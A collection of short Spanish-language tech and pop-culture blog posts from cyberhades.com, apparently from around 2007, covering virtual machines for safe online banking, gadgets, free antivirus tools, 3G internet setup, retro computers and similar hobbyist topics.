                Primero montamos la imágen que más nos guste, una de Windows XP ó una de MacOS, ó incluso un Linux.

                Una vez montada (explicar cómo hacerla requeríria más de una entrada al blog) instalamos lo básico, parches de seguridad, un antivirus y activamos firewall y otras protecciones del navegador. Almacenamos esa imágen de máquina virtual y la dejaremos como "fuente".

                Ejecutamos dicha máquina virtual, vamos a la página de nuestro banco, paypal, amazon, etc ... hacemos nuestras operaciones, y al terminar, simplemente apagamos la máquina virtual y NO GUARDAMOS CAMBIOS, con lo cual cualquier intento de infección por parte de un virus, un troyano, keylogger, etc ... es prácticamente imposible, ya que no daría tiempo a dicha infección. Realmente sólo hemos realizado un primer acceso a nuestras operaciones, luego al salir sin guardar, la máquina virtual se quedará tal y como la dejamos al principio, sin rastro de navegación, sin cookies, sin datos personales, etc... simplemente como un PC nuevecito.

                Por supuesto si permaneces con máquina virtual demasiado tiempo conectado, más riesgo corres. Lo mejor es apagarla y encenderla en cada operación más o menos larga. El único mantenimiento requerido a la máquina virtual fuente podría ser, de vez en cuando, conectarla para actualizar parches, antivirus, etc ... luego la volvemos a guardar y ya está.

                Este es un pequeño tutorial para hacer máquinas virtuales visto en infonegocio para VirtualPC:

                http://www.infonegocio.com/luzylar/virtualpc.htm

                Ya os contaremos otras cosillas para hacer con las máquinas virtuales que esto tiene mucho juego ;)

                www.cyberhades.com

                South Park Guitar Hero

                www.cyberhades.com

                Disco Duro Western Digital Mybook World Edition

                

                Hace unos días que estoy trasteando con este disco duro, que aunque parezca un disco externo USB normal y corriente, va mucho más allá.

                Cuando lo vi en la tienda on-line me llamo la atencion su diseño, luego vi que tenia conexion ethernet, me pico, y cuando mire un par de paginas de reviews y me encontré con esta http://www.mybookworldedition.tk/, tarde como 3 milisegundos en finalizar la compra.

                Aqui y aqui podeis ver que trae dentro este “bichito”.

                Como resucitar una Zaurus SL-C1000

                Existe información oficial sobre como reflashear una Zaurus, pero no se si sera por el modelo en concreto, ninguna de las combinaciones de teclas que he leido en estas webs me permitian entrar en el menu de servicio de este aparato, asi como la documentacion parece ser ambigua. Despues de haber rescatado con exito esta PDA, os resumo el proceso por si alguien tiene el mismo problema.

                Proyectos para Wiimote

                

                Estamos mirando a ver que podemos hacer con el Wiimote, ya que es un dispositivo que dá "mucho juego" ;)

                En esta web puedes ver alguno de los proyectos adaptando un Wiimote, en concreto uno para controlar con los dedos objetos en la pantalla y otro para hacer una pizarra interactiva:

                http://www.cs.cmu.edu/~johnny/projects/wii/

                Si quieres saber como conectar el Wiimote con tu ordenador:

                http://www.wiili.org/index.php/How_To:_BlueSoleil

                Y si ya quieres ser un experto en sacar partido de tu Wii:

                http://www.wiili.org/index.php/Main_Page

                Creemos que este será el nuevo ratón de la nueva generación ...

                www.cyberhades.com

                Windows Vista Service Pack 1 el esperado ...

                

                La semana que viene parece que se publicará por fin el deseado SP1 (Service Pack 1) con toda una colección de actualizaciones, corrección de errores y nuevas funciones. Los usuarios de MSDN / Technet ya pueden descargarlo para probarlo.

                Estos son algunos de los cambios en el SP1:

                • Soporte exFAT

                • Más velocidad, menos errores … ( XD eso ya lo veremos)

                • Cifrado por BitLocker de particiones

                • Mejora en la gestión de redes (esto es algo que yo espero como agua de mayo)

                • etc …

                Un par de regalitos de Navidad &quot;Geek&quot; …

                De momento, estos dos los he visto en la revista “MAKE”:

                http://store.makezine.com/ProductDetails.asp?ProductCode=MKDESAUTO

                

                Es un kit para montar tu propio "autómata mecánico" al más puro estilo Leonardo Da Vinci ;)

                Todo sin electricidad, ni pilas, sólo usando la física ... además tiene varios diseños ya preparados para montar ...

                El otro "kit" tampoco se queda atrás:

                http://store.makezine.com/ProductDetails.asp?ProductCode=MKHYDRA&Show=TechSpecs

                

                VRX MACH 4 ... el simulador de coches defintivo

                

                Vaya aparatito he visto en la estupenda página 86400:

                http://86400.es/2007/12/05/vrx-mach-4-no-busques-mas-mi-regalo-de-navidad/

                Este simulador lleva:

                - 4 XBox

                - 3 Pantallas de 37"

                - Sonido envolvente

                - 1 Microsoft Force Feedback Steering

                ... y mucho más esta es la página oficial:

                http://www.vrx.ca/new_products.php

                Por el precio mejor no preguntes ;) y como están conectadas las XBox tampoco, porque no tengo ni idea, supongo que habrá juegos que permitan configurar varias pantallas ... si alguien lo sabe que nos lo diga por favor ...

                Actualización: parece que necesitas 4 copias del juego para sacarle partido a las pantallas ...

                De todas formas, vaya "Gadget" ;)

                www.cyberhades.com

                Ya puedes descargar RC1 de Windows Server 2008

                

                Microsoft ya ha puesto un enlace donde puedes bajarte gratuitamente la versión RC1 de prueba para el Windows Server 2008.

                http://www.microsoft.com/windowsserver2008/audsel.mspx

                Puedes elegir entre la versión de prueba 30 días ó la versión registrada donde tienes hasta junio de 2008 para utilizarlo.

                Ya lo lo estoy bajando … hay que probarlo …

                www.cyberhades.com

                RetroComputer 1: ZX81

                

                Voy a comenzar una serie de "homenajes" a esos ordenadores que tantos buenos ratos nos han hecho pasar a todos ...

                RETROCOMPUTER 1: Sinclair ZX81

                ... snif ... que tiempos, aún recuerdo cuando fuí con mi padre a comprarlo a una tienda de muebles XD y le costó creo que fueron 50.000 ptas de las de antes. Y como buen geek, lo primero o segundo que hice fue ... abrirlo perdiendo la garantía ...

                Toda esa pasta para:

                - 1Kb de memoria RAM

                - Reloj de 3,5 Mhz

                - Zilog Z80 de microprocesador

                - 8 Kb de ROM con Basic

                Pero que buenos ratos copiando líneas en Basic para hacer que un cuadradito negro se moviera por la pantalla a saltos ...

                También venía con una impresora:

                Y con un libro de juegos:

                

                Libros de informática gratuitos ...

                

                Después de mirar en varias páginas de descarga de libros completos sobre temas de informática, me quedo con:

                http://freecomputerbooks.com/

                que tiene la mejor recopilación (en inglés) de fantásticos libros sobre programación, Linux, Web, Redes, etc …

                Merece la pena darle un vistazo.

                Por ejemplo:

                Una guía de TCP/IP: http://www.tcpipguide.com/free/t_toc.htm

                Programación Ruby 2007: http://www.techotopia.com/index.php/Ruby_Essentials

                MySql 2007: http://www.techotopia.com/index.php/MySQL_Essentials

                Juegos hacking on-line y mucho más sobre seguridad

                

                http://www.yoire.com/

                Esta página está repleta de información sobre seguridad Web, herramientas, eventos, y sobre todo algunos juegos para probar tu habilidad de hacker:

                http://www.yoire.com/games.php

                Incluso tienen el entrañable "CoreWars" (del que pronto haremos una entrada sólo para él):

                http://www.yoire.com/corewars.php

                ... este juego nos ha hecho pasar buenos ratos a DuenD y a mi ...

                Recomendamos esta página si te interesa el hacking y la seguridad, todo en castellano.

                www.cyberhades.com

                Cómo crear contraseñas fáciles de recordar ...

                

                Como cada día tenemos más contraseñas para una cosa u otra, no está mal tener alguna aplicación que nos ayude a la hora de crearlas. Por defecto todos intentamos poner casi la misma contraseña a todo, a nuestro correo, conexión a Internet, contraseña del router, etc ... En principio puede parecer una tontería pero la elección de una buena contraseña es fundamental a la hora de asegurar nuestra privacidad.

                Esta aplicación es para Linux y Windows y nos ayuda a crear contraseñas seguras, fáciles y pronunciables. Además tiene múltiples opciones a la hora de generarlas y administrarlas.

                Este es el enlace de descarga directa:

                http://sourceforge.net/project/showfiles.php?group_id=57385

                Visto originalmente en:

                http://lifehacker.com/software/passwords/make-random-pronouncable-passwords-with-pwgen-329057.php

                www.cyberhades.com

                Parches militares del ejército americano ...

                Un poco desafortunados:

                http://blog.wired.com/defense/2007/12/most-awesomely.html

                Algunos ejemplos:

                

                ("Soy del Gobierno, estoy aquí para ayudarte")

                 

                

                ("Para servir al hombre") XD

                ("Renovación urbana Iraquí")

                Si quieres más, mira en:

                http://blog.wired.com/defense/2007/11/emblems-from-pe.html

                http://blog.wired.com/defense/2007/11/pentagons-most.html

                http://blog.wired.com/defense/2007/11/most-awesomely.html

                www.cyberhades.com

                Linux Ubuntu quizás la mejor distribución para el …

                

                Supongo que todos ya conocéis Linux , pero por si acaso, y si estás decicido a probarlo y no sabes que distribución elegir, te recomendamos Ubuntu, puedes bajarlo desde:

                http://releases.ubuntu.com/releases/7.10/

                (Con Gnome)

                http://it.releases.ubuntu.com/kubuntu/7.10/

                (Con KDE)

                Te recomiendo que visites:

                http://www.ubuntu-es.org/

                Para estar al día de todos los cambios referentes a esta distribución Linux.

                En ella puedes encontrar todo lo que necesitas para trabajar con tu PC, desde ofimatica, programación, etc ... todo en un CD y además gratuito, y sobre todo, fácil de instalar.

                Vamos, el que lo prueba se lo queda ;)

                www.cyberhades.com

                Cómo es la Intranet de Google ...

                Visto en:

                http://blogoscoped.com/archive/2007-11-28-n25.html

                Los "Googler" (que es como se llaman así mismo los empleados de Google) utilizan esta Intranet llamada "MOMA" para realizar su trabajo diario en la empresa.

                

                Arriba puedes leer “Moma inside Google”, justo al lado hay una ventana para buscar información interna de Google, empleados, disponibilidad de salas para reuniones, mapas de edificios, etc …

                A la derecha puedes cambiar a iMoma, donde podrías customizar tu entrada a Moma (como pasa con iGoogle). Luego ya aparecen enlaces más normales en una empresa, como “Mi oficina”, “Kit de supervivencia” ¿? , “Comunicaciones”, “RH: Recursos Humanos”, etc … A la derecha se listan los equipos Google, supongo que de desarrollo.

                Esta es una captura de una búsqueda normal en Moma:

                

                Captura de una búsqueda de empleados:

                

                Según comenta el autor, un ex-empleado de Google, cuando haces este tipo de búsqueda aparece todo sobre tí, proyectos, éxitos, fracasos, etc … creando gran motivación. También comenta que la gente suele cambiar las fotos por otras, por ejemplo, Samurais, etc …

                Bueno el artículo contínua con otras secciones interesantes, merece la pena verlo.

                 

                www.cyberhades.com

                ¿Asteroide artificial? ... &quot;Cita con …

                Cuando ví esta entrada en:

                http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=10821&Itemid=42

                que decía:

                “Se descubre que un asteroide NEO es artificial "

                La verdad es que flipé un rato, hasta que acabé de leer la noticia (como comentan, se parece al libro de Arthur C. Clark "Cita con Rama"). Resulta que se detectó hace unos días un peligroso asteroide que se acercaba demasiado a la Tierra (a unos 6.000 km, vamos rozando), el 2007 VN84. Claro leyendo esto, esperaba que todos los medios de comunicación interrumpieran su programación anunciaran la fabulosa noticia (siempre después del fútbol y del debate del tomate) pero no, mi gozo en un pozo, el 2007 VN84 era artificial, sí, pero era la sonda Rosseta lanzada en 2004 ... :_ (

                Y ahora me pregunto ... ¿no sabemos exactamente donde están las sondas que lanzamos?...

                www.cyberhades.com

                Cómo desensamblar un iPhone ...

                Como mi gran amigo NOP ya ha estado "jugando" un ratito con un iPhone que estuvimos probando hace poco (por cierto es realmente alucinante), ahora toca el turno de hacer lo que todo buen geek le gusta hacer, desmontarlo (montarlo de nuevo ya es otra historia).

                Si tienes un iPhone y quieres desmontarlo:

                Visto en http://www.geek24.com/g/how-to-disassemble-an-iphone-video

                www.cyberhades.com

                Pinball Virtual (y las posibilidades que tiene)

                

                He visto esta entrada en en la fantástica web "gizmodo":

                http://www.gizmodo.es/2007/11/27/pinball_metrosexual_le_quita_todo_el_sexy_al_original_veredicto_steve_mcqueen_ni_lo_miraria.html#more

                Le quita un poco de encanto a la mecánica de los pinball pero la verdad es que es flipante, ¿y si le adaptamos un MAME? ... guauuuuuu

                Pantalla de plasma 41", sistema de vibración, etc ... buen regalito de reyes ;)

                www.cyberhades.com

                &quot;Android&quot; plataforma de programación …

                

                Bueno por fin Google ha desvelado lo que algunos ya pensábamos (y sobre todo oimos hace ya algunos meses, creo que en el podcast 17 de "El Geek Errante"), una plataforma "Mobile" que se une a las ya conocidas "Symbian" y "Windows Mobile"

                La plataforma se llama "Android" y por supuesto es "Open":

                http://code.google.com/android/

                Hace poco le comenté a NOP y a Molotok que no era buena idea seguir los pasos de las herramientas de desarrollo de Google, pero ahora viendo esto, he cambiado totalmente de opinión. Esto es más que una plataforma para teléfonos móviles, ya que puede ser integrado con GMail, Gadgets, etc ... con lo cual esto cada vez se parece más a un Sistema Operativo nuevo ... pero sin PC de momento ...

                Y para la inaguración de la plataforma, han creado un concurso de desarrollo de aplicaciones (cuanto saben estos de Google)

                Vamos a echarle un vistazo más a fondo y ya opinaremos, de momento, aquí está el futuro (o parte de él).

                www.cyberhades.com

                &quot;... vamos a viajar a la luna ...&quot;

                Únicas palabras de “Explosions in the Sky” … no hacía falta más …

                (este video es grabado por nosotros)

                Errores empresariales

                

                Los dos primeros son vía Se nos cayó el sistema y el tercero es de cosecha propia, del magnífico libro -no editado en castellano aún- The Second Coming of Steve Jobs de Alan Deutschman.

                1- Ross Perot se va de IBM. Ross Perot hace su cuota de ventas de un año en IBM en las primeras DOS semanas. Cuando va y le pregunta a su jefe si le pagan mas si vende mas - y su jefe contesta no - pasa la carta de renuncia. Funda EDS (Electronic Data Systems) y la vende por varios billones años mas tarde a GM.

                2- Apple no licencia su sistema operativo. Apple ha comprobado que uno puede tener gente mas creativa y mejor producto, pero si la estrategia es mala.... no es el líder. En los 80's Apple era el líder de la industria de los PC. En los 90's estaba dando perdidas. Apple se puso proteccionista, no licenció su sistema operativo y se metió dentro de una burbuja como dicen. Los directores de IT no se le midieron al circuito cerrado de Apple (el mismo que aplican hoy con itunes+ipod) y en vez se fueron por software disponible para cientos de compañías... otro regalo para Microsoft.

                3- Ross Perot rechaza comprar Microsoft. Fue en los primeros momentos de la empresa. Estuvo a punto de quedarse con un 30% por... ¡solo 10 milllones de dólares! Al final se retractó porque a él no le interesaban negocios de poco volumen.

                Nos hablan mucho de los grandes aciertos, pero poco de las grandes cag*****. Supongo que para acertar habrá que equivocarse alguna vez.

                &quot;Tuneando&quot; y asegurando la red WiFi

                

                He visto este video en:

                http://lifehacker.com/software/macgyver-tip/boost-your-wi+fi-antenna-for-less-than-a-dollar-324681.php

                Con un cable de cobre, un tornillo, una pajita, una soldadura y un poco de habilidad, el autor del video dice que con esto se “dobla” la cobertura de la Wifi … pues nada, tendremos que probarlo ;) No necesitas saber mucho inglés, ya que todos los pasos se ven perfectamente en el video.

                Antivirus gratuitos

                

                He visto esta entrada en:

                http://tupsx.com/los-5-mejores-antivirus-gratuitos

                Muy buena lista , y como la verdad que es algo que me preguntan bastante, lo paso al Blog (muy útil y abre un nuevo hilo sobre seguridad que más adelante seguro que hablamos).

                (NOTA: falta en mi opinión, el "Clamav" que además tiene su versión Linux, abajo tienes el link)

                La lista sería:

                1) AVAST home edition.

                http://www.avast.com

                2) AVG free edition.

                http://free.grisoft.com/

                3) AVIRA personal edition.

                http://www.free-av.com/

                4) CLAMAV.

                http://www.clamav.net/

                5) PCTOOLS (este es vale para Vista)

                http://www.pctools.com/es/free-antivirus/

                6) BIT DEFENDER

                http://www.bitdefender.com/PRODUCT-14-en--BitDefender-8-Free-Edition.html

                Y para concluir, en una buena combinación de seguridad para casa, podríamos incluir el "Windows Defender", para malware.

                Unos consejos:

                1) ACTIVA EL FIREWALL DE WINDOWS

                2) ANTIVIRUS (cualquiera de arriba)

                3) WINDOWS DEFENDER.

                http://www.microsoft.com/spain/athome/security/spyware/software/default.mspx

                Con esta tres directrices básicas, ya tenemos cubierto un buen rango de seguridad en nuestro equipo.

                Haremos una entrada pronto, un pequeño tutorial para proteger el PC.

                Y recuerda, el único ordenador seguro es el que está apagado ;) (... y tampoco)

                www.cyberhades.com

                ¿Tienes un disco duro SeaGate? ...

                

                Visto en:

                http://noticiastech.com/wordpress/?p=9546

                (enlace aportado por nuestro amigo y máquina de la electrónica, DaniB) ;)

                Al parecer "SeaGate" tendrá que pagar un 5% del coste del disco duro, ya que pare ellos 1Kb son 1000 bytes (¿faltan algunos bytes no?) ;)

                Sólo tienes que rellenar un formulario y poner el número de serie del disco.

                Bueno, voy a darme algunas dósis de vida real no vaya a ser que me infecte el gusano ese friki del que habla Molotok ...

                www.cyberhades.com

                Una de zombies

                Esta vez no se trata de la ficción tratando aparentar realidad, sino al revés. Existe un gusano, el Leucochloridium Paradoxum, que una vez dentro de un caracol, es capaz de infectar su cerebro, dominar su voluntad y dirigirlo hacia una muerte segura, exponiéndolo a los pájaros. Los pájaros los devoran y vuelven a excretar el gusano. Y esos excrementos los consumen los caracoles, perpetuando el ciclo. Suena muy a THE INVASION OF THE BODY SNATCHERS (1978). ¿Y si descubrieran que los frikis y los geeks están infectados por un parásito similar? Supongo que el mejor tratamiento serían los rayos del sol, el alcohol y el género femenino. Enjuto Mojamuto lo tendría mal, pero en Cyberhades podemos estar tranquilos. Algunos, al menos. Atentos al vídeo.

                www.cyberhades.com

                ¡Flash, flash! WINTERCASE 2007

                

                Si estas en Valencia, no te los puedes perder, nosotros vamos seguro a "Editors" día 19, y el día 22 a "Explosions in the Sky" y "Spoon" ... GRUPAZOS, así que si quieres vernos, allí estaremos.

                VALENCIA - Sala Mirror (antigua sala Cormorán)

                11 oct: Gira presentación SPIRITUALIZED ACOUSTIC MAINLINES (21h) + SOULSAVERS feat. MARK LANEGAN (22.45h) + Mishima solo (20.20h)

                15 nov: SUPER FURRY ANIMALS + Ratatat, puertas 20.30h

                19 nov: EDITORS + The Boxer Rebellion + How I Became The Bomb, puertas 20.30h

                22 nov: SPOON (22.30h) + EXPLOSIONS IN THE SKY (20.45h), puertas 20.00h

                Ubicación Sala Cormorán:

                Ver mapa más grande

                Si no estas en Valencia, mira en este enlace para Barcelona, Madrid y Bilbao:

                http://www.wintercasesanmiguel.com/w2007.html

                Página principal:

                http://www.wintercasesanmiguel.com/

                Y para aperitivo, un par de videos, uno de "Editors" y otro de "Explosion in the Sky":

                Sonidos de otros mundos

                

                Estos son sonidos extraños, adaptados en frecuencia al oido humano, de la sonda "Cassini-Huygens", en su viaje por los mundos de Saturno.

                http://saturn.jpl.nasa.gov/multimedia/sounds/

                Parecen los sonidos típicos de las películas de Ciencia Ficción de los años 50 ;)

                ... la verdad es que son hipnóticas, no todos los días puedes oir la atmósfera de Titán, o las emisiones de radio del planeta Saturno ... a veces la realidad supera a la ficción.

                (Visto en Wired: http://blog.wired.com/underwire/2007/11/cosmic-recordin.html )

                www.cyberhades.com

                &quot;Enigma&quot;, gracias Alan ;)

                Pocos héroes de la 2a Guerra Mundial, tan decisivos y tan importantes, como fue Alan Turing, han sido tan maltratados. Gracias a él las comunicaciones del ejército nazi fueron al fin, descifradas (ellos usaban la máquina "Enigma", hasta ese momento, totalmente indescifrable), dando un giro total al curso de la 2a Guerra Mundial, hasta ese momento, dominado por los alemanes.

                 

                 

                Gracias a esto, los barcos de suministros de EEUU podían abastecer sin que los submarinos alemanes les cazaran una y otra vez en mitad del Atlántico, las posiciones enemigas ahora eran visibles, etc .. pues aún salvando miles de vidas y posiblemente, cambiando el rumbo de la 2a Guerra Mundial, aún así, fue dado de lado por la siempre rígida, anticuada y severa (eso sin mecionar hipócrita) sociedad inglesa. Así como ya hicieron antes con el gran Oscar Wilde, lo encarcelaron, lo vejaron, e intentaron revertir su "enfermedad" (¿he olvidado mencionar que era homosexual?) a base de hormonas.

                 

                La realidad ¿en peligro de extinción?

                En el sector audiovisual cada vez se dice más eso de "lo que se puede imaginar, se puede hacer" y herramientas como la que vais a ver a continuación lo hacen posible. La cuestión es que la tecnología comienza a permitir no ya modificar la realidad sino crearla. Una realidad tan creíble como la que habitamos cada día. Lo que nos lleva a la siguiente reflexión ¿es real la realidad o es fruto de un buen software como el que vamos a ver? El tipo del software fue, como no, contratado por Adobe.

                www.cyberhades.com

                La mejor opción Internet 3G para el portátil

                Hola amigos/amigas:

                Después de varias pruebas con mi amigo DuenD (que ha sido el primero en probarlo), este es el resúmen de nuestro estudio para tener Internet 3G desde el portátil, usando la mejor opción del mercado, que a pesar de algunas críticas (que ya parecen solucionadas) es YOIGO.

                

                Con este método, puedes tener Internet en tu portátil por 1,20 € + IVA por día UTILIZADO, o sea, 24 horas desde que te conectas, sin límite de descarga y de momento, no hemos visto problema de "capado" de puertos (hemos conectado con ftp sin problemas y sin ningún proxy por medio). La cobertura es YOIGO y si no hay, utiliza cobertura 3G VODAFONE, que no es demasiado buena pero más o menos tiene bastante cobertura.

                Esta es nuestra opción:

                1 Tarjeta PCMCIA 3G, (liberada) nuestra opción ha sido la Sierra Wireless Aircard 860

                http://www.sierrawireless.com/product/ac860.aspx

                (puedes encontrarla por menos de 50€ en ebay, sólo tienes que buscar el modelo y sobre todo asegurarte de que está liberada/unlocked)

                Puedes utilizar sin problema cualquier tarjeta 3G PCMCIA liberada, esta es un ejemplo.

                2 Tarjeta YOIGO prepago TIPO II (importante esto de tipo II)

                https://tienda.yoigo.com/selforder/device

                Esta tarjeta cuesta 15 € y viene con 20 € de saldo, con lo cual puedes conectarte a Internet por lo menos 16 días completos con la tarifa de antes, 1,20 + IVA por día (24 horas).

                La ventaja del TIPO II es que no tiene gasto por consumo mínimo, y cuando la gastas se recarga y ya está.

                CONEXIÓN:

                Una vez tengas la tarjeta PCMCIA Sierra Aircard 860 (o cualquier otra liberada), no utilices el software que viene con la tarjeta (ojo que en nuestro caso si actualizas con el software que lleva, la bloquea al operador "Cingular" que es americano), mejor descarga la última versión del firmware y la última versión también del programa utilizado para gestionar las llamadas (3G Watcher), todo está en la web: http://www.sierrawireless.com/

                Primero desde Windows XP (la versión Linux la dejo para DuenD a ver si se anima lo pone en el blog), actualiza la firmware de la tarjeta, instala el nuevo software y conecta usando los datos de YOIGO que son:

                Nombre APN (Nombre del punto de acceso): internet

                Usuario: (en blanco)

                Contraseña: (en blanco)

                Pues nada, conectas y ya tienes 3G.

                Ventajas:

                1) no hay el puñetero timo del límite de descarga.

                2) no tienes que firmar ningún contrato, si no te gusta, a tomar por saco.

                3) pagar 1,20+IVA por 24 de Internet es lo más barato que hay ahora mismo en el mercado.

                Si tienes cualquier duda, en comentarios o envíalo a:

                

                Agujeros en Marte

                

                La sonda espacial "Mars Reconnaissance Orbite" ha fotografiado varios agujeros (7) de más o menos 100m de díametro por todo el ecuador del planeta Marte. Son entradas a profundas cavernas donde se cree puede haber vida, ya que allí están a salvo de la radiación solar o también son un lugar prefecto para una futura base marciana, ya que nos ahorramos las paredes y el techo ;)

                 

                Humor imperial

                Nos os perdáis el cachondo Blog Hijos del imperio. Os echaréis una risas con las glorias y miseria de los españoles.

                http://loshijosdelimperio.blogspot.com

                www.cyberhades.com

                Monopolios

                Los cachondos suecos Jonas Ridderstrale y Kjell Nordstrom -autores del imprescindible libro para emprendedores Karaoke Capitalism- repiten cual estribillo de Abba aquello de que el sueño de cada empresario es crear monopolios temporales. Y así es. ¿Quién no ha soñado en ser el único, en llegar el primero y estar a años luz de la competencia? Pero hay un problema. Bueno, dos. Por una parte es muy difícil mantener un monopolio temporal durante mucho tiempo. Aunque mantengas una posición dominante en el mercado, el flujo mundial de información y talento pueden reclamar su pedazo de la tarta. Y por otra parte y más importante: los monopolios se cargan el sistema y coartan la libertad del ciudadano-consumidor. Por lo que se crearon leyes e instituciones antitrust en la mayoría de economías occidentales. ¿Y cuando se trata del mundo? Que le pregunten a Google. Atentos a este video. La forma es una auténtica virguería de diseño gráfico y manejo de After Effects, un anticipo de lo que serán los documentales del futuro. El fondo es más interesante aún. Digno de vuestro comentario. Una paradoja: los autores publican el video en Youtube, adquirido por Google por la nadería de 1.650 millones de dólares.
                

                
                
                

                www.cyberhades.com

                Impresionantes....

                …. las habilidades de este chaval.

                Visto en menéame.

                Cito literalmente: “Un geek armado con un portátil modifica la información de los paneles de la carretera. Al parecer no es lo único que sabe hacer, también levanta puentes con una PDA, crea caos en estaciones de tren y conduce un Porsche desde un PC”

                Podéis ver sus videos en youtube.

                www.cyberhades.com

                Instalando Mac OS Leopard en un PC (por fin)

                

                Parece que algunos hackers han conseguido y como me comentó ayer mi gran amigo NOP, parece que hay otra forma, que espero él mismo lo cuelgue YA en el Blog ;)

                Esta parece la forma "oficial":

                http://dailyapps.net.nyud.net/2007/10/hack-attack-install-leopard-on-your-pc-in-3-easy-steps/

                No aparecen enlaces para conseguir la imagen DVD ni el "patch", pero bueno, ya sabrás donde buscarlos ... ;)

                www.cyberhades.com

                Hackeando Ikea

                No. A pesar de lo que muchos puedan pensar, esto no va acerca de introducirse ilegalmente en los servidores de ninguna empresa sueca de muebles. Esto es un magnífico ejemplo del auténtico significado de la palabra “hack”.

                Podéis encontrar en instructables (vía menéame) Instrucciones para modificar y adaptar a usos que no eran para los originalmente fueron pensados varios muebles de Ikea, y como ejemplo, cito: “convertir una litera Mydal en dos camas individuales; y de propina hacerse con los restos un banco para el jardín”.

                Show me the money

                A los habitantes del Averno no nos gusta el dinero. Nos gusta el mucho dinero. Y nosotros que sabemos que hay vida más allá de la muerte, dedicamos nuestro tiempo a escribir en Cyberhades o a marcarnos un Charleston. Todo por la pasta.

                www.cyberhades.com

                Defensa ¿personal?

                Buenas a todos, es la primera vez que escribo en un BLOG, y como no, mis agradecimientos a Cybercaronte por esta oportunidad. Pero, centrémonos, creo que es necesario seguir muy de cerca esta noticia http://digital.telepolis.com/cgi-bin/reubica?id=470082&origen=EDTecnologia Toda mi atención, aunque sea por el rabillo de ojo esta dirigida a STORM, ahora resulta que el propio virus se defiende. La verdad es que empiezo a sentir esa extraña sensación que se sufre cuando mezclas una pizca de temor con otra de admiración hacia esas mentes privilegiadas y perversas para crear esta criatura, mas potente que 500 super-ordenadores… no sé lo que es eso, pero solo con saber que bloquea los ordenadores de los “expertos” que intentan conocer su funcionamiento, da miedo. Creo que habrá que comenzar a hacer ciertas similitudes con filmes del estilo “Matrix”, o … quien sabe… ¿Tron? En definitiva, que el ranking va subiendo, y cada vez mas. Salu2 a to2

                Un buen sueño

                Saludos, habitantes del inframundo. Se presenta un servidor -Molotok- dispuesto a despertaros a martillazos del largo sueño de éter catódico que os y nos domina.Y de eso va esta entrada. Me he pasado la infancia creyendo haber tenido un sueño con un niño poseído por un alienígena y tras consultar con mis contemporáneos resulta ser CHOCKY, una serie británica de 1984 de lo mejor de la Thames Television que encontraréis diseccionada en ese enlace. Es una putada, pero a veces no sabemos si recordamos o imaginamos.

                Las patillas, la pana y los vapores del 127 no impidieron que algún tipo inteligente decidiera emitirla por Televisión Española. Se ve cutre en el video, pero no hay nada de lo que la nostalgia no sea capaz, es decir, era una serie increíble. Ahora hay aproximaciones al tema -extraterreste + habilidades extraordinarias- con otras series que recomiendo ver si os va la ciencia ficción, como Kyle XY (mediocre dirección-buen casting-buena foto-guión justito) o la desaparecida John Doe (mediocre dirección-mal casting-buena foto-buena idea). Pero no tienen nada que hacer contra la morriña. Atentos al video. No fue una pesadilla. Por cierto... ¿por qué los extraterrestres tienen que ser siempre más listos? Podían tener el bazo más grande o media docena de testículos. Pero no, tienen que ser unos listillos.

                 

                ¿&quot;How I Met Your Mother&quot; y &quot;World …

                Bueno esta serie es increiblemente buena, y tiene su lado friki:

                Que bueno.

                Ya sabéis, si no la conocéis, a verla YA, sólo una recomendación, hay que verla en inglés (con subtítulos).

                http://www.howimetyourmother.es/

                www.cyberhades.com

                CyberHades

                

                Siempre me ha atraido la mitología Griega, quizás tuvo la culpa "Ulises 31" ;) , me gustan bastante las extrañas historias épicas entre humanos y dioses.

                "Hades" era el reino SUBTERRÁNEO o del Inframundo, y también de los muertos, pero prefiero usar el término subterráneo. Os paso un enlace a la Wiki con un poco de historia de Hades:

                http://es.wikipedia.org/wiki/Hades

                No todo era destrucción y monstruos, también estaban los "Campos Elíseos" donde siempre es verano y todo el mundo es feliz.

                Os recomiendo que leáis un poco sobre la historia del dios Hades y de su morada, es muy amena y "divertida".

                Por eso he puesto a este blog el nombre de "CyberHades", en homenaje a este pasaje de la mitología griega, y a que nos solemos mover por las páginas menos comunes de Internet.

                www.cyberhades.com

                Enjuto Mojamuto ... &quot;El peor día de mi …

                “Los zombies de 28 días no son zombies, son infectados … " XD que bueno … Y no lo olvidéis … MUCHACHADA NUI lo miércoles a las 23:30 en la 2.

                www.cyberhades.com

                xkcd - Un Webcomic bastante geek

                Estos webcomics se actualizan más o menos 3 veces a la semana y todos son de contenido geek y tienen bastante gracia.

                Os pongo una de mis favoritas.

                

                http://xkcd.com/225/

                Y esta es la página principal

                http://xkcd.com/

                Aviso: contenido muuuy geek y además en inglés ;)

                www.cyberhades.com

                Revista MAKE

                

                Esta revista es realmente increible. Todos son proyectos de electrónica/bricolaje/informática, a cada uno más espectacular.

                http://www.makezine.com/

                También suelen publicar videos en youtube, sólo tienes que buscar “make magazine” y ya verás, aqui tienes uno de muestra:

                www.cyberhades.com

                Un amigo nos deja, Juan Antonio Cebrián

                No tengo palabras, es un día triste hoy para todos.

                Gracias por todo amigo, no te olvidaremos nunca.

                www.ondacero.es

                http://www.rosavientospodcast.com/podcast/temporada/actual/

                www.cyberhades.com

                El mejor anuncio de videconsolas ...

                Este anuncio de Sony Playstation es realmente ESPECTACULAR, ya no me acordaba de él:

                El mejor anuncio de videoconsolas, sin duda.

                www.cyberhades.com

                GOOG-411: El Teléfono de consulta de Google

                

                Visto en “Gadgetell”:

                http://www.gadgetell.com/2007/10/goog-411-now-a-reality/

                Google ha sacado en Estados Unidos un número de teléfono para búsquedas:

                1-800-GOOG-411

                Esta es la página oficial:

                http://www.google.com/goog411/index.html

                Al parecer llamas, te preguntan tu posición (Calle, Ciudad, etc …) y luego puedes preguntar por tiendas, negocios, direcciones, etc … y te marcan el camino a seguir para llegar. Mira el video que tienen en su Web:

                (Directo desde Microsiervos): Flvix

                

                Ya puse un post referente a la conversión de ficheros de video desde la web (ej: Youtube):

                http://sh-cyberhades.blogspot.com/2007/07/conversor-on-line-y-descarga-directa-de.html

                He visto este en:

                http://www.microsiervos.com/archivo/internet/flvix-conversor-de-videos-de-youtube-google-video-o-flv-a-avi-mov-mpeg.html

                que funciona bastante bien.

                Pues nada, ve a "microsiervos" y léelo ;)

                www.cyberhades.com

                &quot;Every Day Shooter&quot;, un juego de …

                

                Sí, ya verás como no puedes ver una sola vez este video (visto en "Destructoid"):

                http://www.destructoid.com/everyday-shooter-settling-down-with-thursday-as-this-week-s-psn-release-48175.phtml

